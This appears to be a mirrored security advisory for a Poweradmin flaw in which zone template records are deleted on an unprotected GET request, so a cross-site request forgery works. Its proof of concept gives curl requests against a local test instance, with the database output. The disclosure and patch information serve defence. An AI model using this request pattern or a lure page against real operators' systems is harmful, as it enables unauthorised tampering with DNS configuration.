GHSA-VGCJ-QCXF-V8P5
Missing CSRF protection on GET-triggered zone template record deletion
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-VGCJ-QCXF-V8P5 divulgada · CVSS 5.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Poweradmin performs zone template record deletion on a plain HTTP GET without validating the application's CSRF token. Because the session cookie is issued with `SameSite=Lax`, which still attaches cookies to cross-site top-level GET navigations, an attacker who can get a logged-in operator to visit a crafted page or link can make the operator's browser perform it.
Details
Poweradmin has a working CSRF facility (`CsrfTokenService`, a random token in `$_SESSION['csrf_token']`, compared with `hash_equals`, validated by `BaseController::validateCsrfToken()`), and the majority of destructive controllers use it correctly, e.g. `DeleteRecordController`, `DeleteDomainController`, `DeleteUserController`, `DeleteGroupController` all execute `if ($this->isPost()) { $this->validateCsrfToken(); ... }`. The following controllers omit the check entirely and are driven by GET query parameters instead of an authenticated POST:
`DeleteZoneTemplRecordController`, `GET /zones/templates/{template_id}/records/{id}/delete?confirm=1`
The route accepts `GET` and the controller performs no `isPost()` or `validateCsrfToken()` check.
Why the GET reachability matters. `initializeSession()` sets the session cookie with `samesite => 'Lax'`. `SameSite=Lax` deliberately does attach the cookie to cross-site top-level GET navigations (`window.location`, `<a target=_blank>`, `<meta http-equiv=refresh>`, or a 302 from an attacker's own server); it only blocks cross-site *subresource* loads such as `<img src>`.
Contrast with a correctly protected sibling, confirmed live: `DeleteRecordController` requires `isPost()` and `validateCsrfToken()`, and a plain GET against its delete route returns the confirmation page rather than performing the deletion; a POST with no token is likewise rejected.
PoC
All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8123` via PHP's built-in development server with no external network exposure. The DNSSEC toggle steps additionally use a mock PowerDNS API server, also self-hosted locally on `127.0.0.1:9999`, standing in for a real PowerDNS instance.
All fired with `curl` as plain `GET` requests, authenticated session cookie only (`-b admin.jar -c admin.jar` / `-b zm.jar -c zm.jar`), no CSRF token supplied in any request.
Session cookie attribute, confirmed live:
$ curl -sS -i 'http://127.0.0.1:8123/login'HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:13:40 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=pfhg11kc9b21aq3kajj489pj4c; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=utf-8
<!doctype html>
...Zone template record deletion:
$ sqlite3 -header pa.db "SELECT id,name FROM zone_templ_records WHERE zone_templ_id=1;"id|name
1|[ZONE]
2|tplrce.[ZONE]$ curl -sS -i -b zm.jar -c zm.jar \
'http://127.0.0.1:8123/zones/templates/1/records/2/delete?confirm=1'HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:14:15 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=mq9qcr2nd3mqb52mu2dic58kec; path=/; HttpOnly; SameSite=Lax
Location: /zones/templates/1/edit
Content-type: text/html; charset=UTF-8$ sqlite3 -header pa.db "SELECT id,name FROM zone_templ_records WHERE zone_templ_id=1;"id|name
1|[ZONE]Impact
An attacker-controlled page that a logged-in operator visits can silently delete records from the operator's zone templates, so zones created from them later miss those records.
Split from GHSA-rjcc-m8cx-6p4c, which originally covered five endpoints with the same omission.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 3.9.12, 4.2.6, 4.3.5, 4.4.1 | — | — |
3.9.124.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-vgcj-qcxf-v8p5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
